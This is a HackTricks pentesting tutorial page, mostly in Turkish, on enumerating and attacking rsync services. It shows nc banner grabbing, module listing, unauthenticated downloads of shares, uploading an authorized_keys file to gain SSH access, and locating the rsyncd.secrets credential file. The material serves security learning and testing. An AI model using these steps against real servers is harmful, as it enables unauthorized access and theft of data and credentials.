6.8 KiB
873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Temel Bilgiler
From wikipedia:
rsync, bir bilgisayar ile harici bir sabit disk arasında ve ağ bilgisayarları arasında dosyaları verimli bir şekilde aktarmak ve senkronize etmek için bir yardımcı programdır; dosyaların değiştirilme zamanlarını ve boyutlarını karşılaştırarak çalışır.[3] Genellikle Unix benzeri işletim sistemlerinde bulunur. Rsync algoritması, delta kodlama türüdür ve ağ kullanımını minimize etmek için kullanılır. Zlib ek veri sıkıştırması için kullanılabilir,[3] ve SSH veya stunnel güvenlik için kullanılabilir.
Varsayılan port: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumeration
Banner & Manuel iletişim
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Paylaşılan Klasörleri Sayma
Rsync modülleri, şifrelerle korunabilecek dizin paylaşımları olarak tanınır. Mevcut modülleri belirlemek ve şifre gerektirip gerektirmediğini kontrol etmek için aşağıdaki komutlar kullanılır:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Dikkat edin ki bazı paylaşımlar listede görünmeyebilir, bu da onları gizleyebilir. Ayrıca, bazı paylaşımlara erişim belirli kimlik bilgileri ile kısıtlanmış olabilir, bu da "Erişim Reddedildi" mesajı ile belirtilir.
Brute Force
Manuel Rsync Kullanımı
Bir modül listesi elde edildikten sonra, eylemler kimlik doğrulamanın gerekip gerekmediğine bağlıdır. Kimlik doğrulama olmadan, bir paylaşılan klasörden yerel bir dizine listeleme ve kopyalama işlemi şu şekilde gerçekleştirilir:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Bu işlem dosyaları özyinelemeli olarak aktarır, niteliklerini ve izinlerini korur.
Kimlik bilgileri ile, paylaşılan bir klasörden listeleme ve indirme aşağıdaki gibi yapılabilir; burada bir şifre istemi görünecektir:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
To upload content, such as an authorized_keys file for access, use:
İçerik yüklemek için, erişim için bir authorized_keys dosyası gibi, şunu kullanın:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Bu dosya içinde, bir secrets file parametresi rsyncd kimlik doğrulaması için kullanıcı adları ve şifreler içeren bir dosyaya işaret edebilir.
Referanslar
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.